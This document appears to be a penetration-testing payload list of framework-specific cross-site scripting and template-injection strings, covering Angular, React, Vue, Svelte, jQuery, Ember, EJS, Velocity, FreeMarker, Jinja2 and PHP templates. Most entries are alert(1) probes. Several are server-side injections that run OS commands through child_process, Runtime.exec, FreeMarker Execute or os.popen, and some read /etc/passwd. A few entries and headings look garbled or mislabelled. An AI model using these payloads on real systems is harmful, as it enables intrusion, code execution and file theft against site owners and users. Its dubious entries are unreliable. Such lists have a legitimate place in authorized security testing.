# Framework-specific XSS Payloads
# Payloads for Angular, React, Vue, and other frameworks

# ANGULAR XSS PAYLOADS

# Angular template injection (AngularJS 1.x)
{{constructor.constructor('alert("XSS")')()}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1);');}}
{{$on.constructor('alert(1)')()}}
{{$eval('alert(1)')}}
{{x=alert(1)}}

# AngularJS sandbox escape
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');a=''}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
{{constructor.constructor('return process')().mainModule.require('child_process').exec('calc')}}

# Angular attribute bypasses
ng-on-click=alert(1)
ng-init=alert(1)
ng-mouseover=alert(1)
ng-change=alert(1)

# ng-href bypass
javascript:alert(1)

# ng-bind-html bypass
<img src=x onerror=alert(1)>
<script>alert(1)</script>

# REACT XSS PAYLOADS

# dangerouslySetInnerHTML bypass
"dangerouslySetInnerHTML":{"__html":"<script>alert(1)</script>"}
"__html":"<img src=x onerror=alert(1)>"}
{"__html":"<iframe src='javascript:alert(1)'></iframe>"}

# React attribute bypass
"href":"javascript:alert(1)"}
"src":"x onerror=alert(1)"}
"action":"javascript:alert(1)"}

# React URL bypass
javascript:alert(1)
data:text/html,<script>alert(1)</script>

# React event handlers
onAnimationEnd=alert(1)
onAnimationIteration=alert(1)
onAnimationStart=alert(1)
onCopy=alert(1)
onCut=alert(1)
onPaste=alert(1)

# React prototype pollution
{"__proto__":{"polluted":true}}
{"constructor":{"prototype":{"a":"b"}}}

# VUE XSS PAYLOADS

# v-html bypass
"v-html":"'<script>alert(1)</script>'"}
"v-html":"'<img src=x onerror=alert(1)>'"}

# Vue template injection
{{_openBlock.constructor('alert(1)')()}}
{{_ctx.constructor.constructor('alert(1)')()}}
{{this.constructor.constructor('alert(1)')()}}
{{constructor.constructor('return this.process')().mainModule.require('child_process').exec('calc')}}

# Vue 3.x bypass
{{_openBlock.constructor.constructor('alert(1)')()}}

# Vue attribute bypasses
@click=alert(1)
@mouseover=alert(1)
@mouseenter=alert(1)
@submit=alert(1)
@load=alert(1)

# v-bind:href bypass
javascript:alert(1)
data:text/html,<script>alert(1)</script>

# SVELTE XSS PAYLOADS

{@html "<script>alert(1)</script>"}
{@html "<img src=x onerror=alert(1)>"}
{@html "<iframe src='javascript:alert(1)'></iframe>"}

{constructor.constructor("alert(1)")()}
{this.constructor.constructor("alert(1)")()}

# JQUERY XSS PAYLOADS

# jQuery location.hash bypass
#<img src=x onerror=alert(1)>
#<script>alert(1)</script>
#<svg onload=alert(1)>

# jQuery attribute bypass
'><script>alert(1)</script>
'onmouseover=alert(1)>
'onfocus=alert(1)

# jQuery HTML parsing
<img src=x onerror=alert(1)>
<details open ontoggle=alert(1)>

# EMBER.JS XSS PAYLOADS

{{{concat "alert(1)"}}}
{{{#with "alert(1)" as |x|}}}{{{x}}}{{{/with}}}
{{{#with "x" as |x|}}}{{{x.constructor.constructor("alert(1)")()}}}{{{/with}}}

# Ember handlebars bypass
{{{link-to "x" "javascript:alert(1)"}}
{{{#each}}}<script>alert(1)</script>{{{/each}}}

# BACKBONE.JS XSS PAYLOADS

<script>alert(1)</script>
<img src=x onerror=alert(1)>
javascript:alert(1)

# NEXT.JS XSS PAYLOADS

# Next.js getInitialProps injection
"props":{"pageProps":{"x":"<script>alert(1)</script>"}}

# Next.js getServerSideProps bypass
"props":{"data":"<script>alert(1)</script>"}

# NUXT.JS XSS PAYLOADS

# Nuxt asyncData bypass
{"data":{"content":"<script>alert(1)</script>"}}

# Nuxt fetch bypass
{"fetch":{"content":"<script>alert(1)</script>"}}

# VITE/WEBPACK PAYLOADS

# Import statement injection
import('data:text/javascript,alert(1)')
import('javascript:alert(1)')

# ASTERY / SVELTEKIT PAYLOADS

# SvelteKit SSR bypass
{@html "<script>alert(1)</script>"}

# TYPESCRIPT FRAMEWORKS

# Generic template injection
${constructor.constructor('alert(1)')()}
${'__proto__'.constructor.constructor('alert(1)')()}
${'a'.constructor.prototype.charAt=[].join;eval('alert(1)');}

# MUSTACHE / HANDLEBARS

{{{this}}}
{{=<% %>=}}<%={{ }}=%>{{{{this}}}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

# EJS

<% var x={valueOf:function(){eval('alert(1)')}}; %>
<%= x %>

# PUG (JADE)

#{'a'.valueOf=function(){eval('alert(1)')};'a'}

# MARKO / RAPID

${'a'.constructor.constructor('alert(1)')()}
<script>${'a'.constructor.constructor('alert(1)')()}</script>

# DUST.JS

{s"x"}{~n}alert(1)
{#helper x="<script>alert(1)</script>"}{/helper}

# LAYOUTS (HAML, SLIM, ERLANG)

:javascript
  alert(1);

# JAVA TEMPLATES (JSP, JSTL, VELOCITY)

# Velocity
#set($x='')##set($x=$x.getClass().forName('java.lang.Runtime').getRuntime().exec('calc'))

# FreeMarker
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("calc")}

# RUBY (ERB, HAML)

<%= eval("alert(1)") %>

# PYTHON (JINJA2, DJANGO)

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items() }}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen('calc').read()}}{%endif%}{%endfor%}

# PHP TEMPLATES

${_ENV["cat /etc/passwd"]}
{{$smarty}}
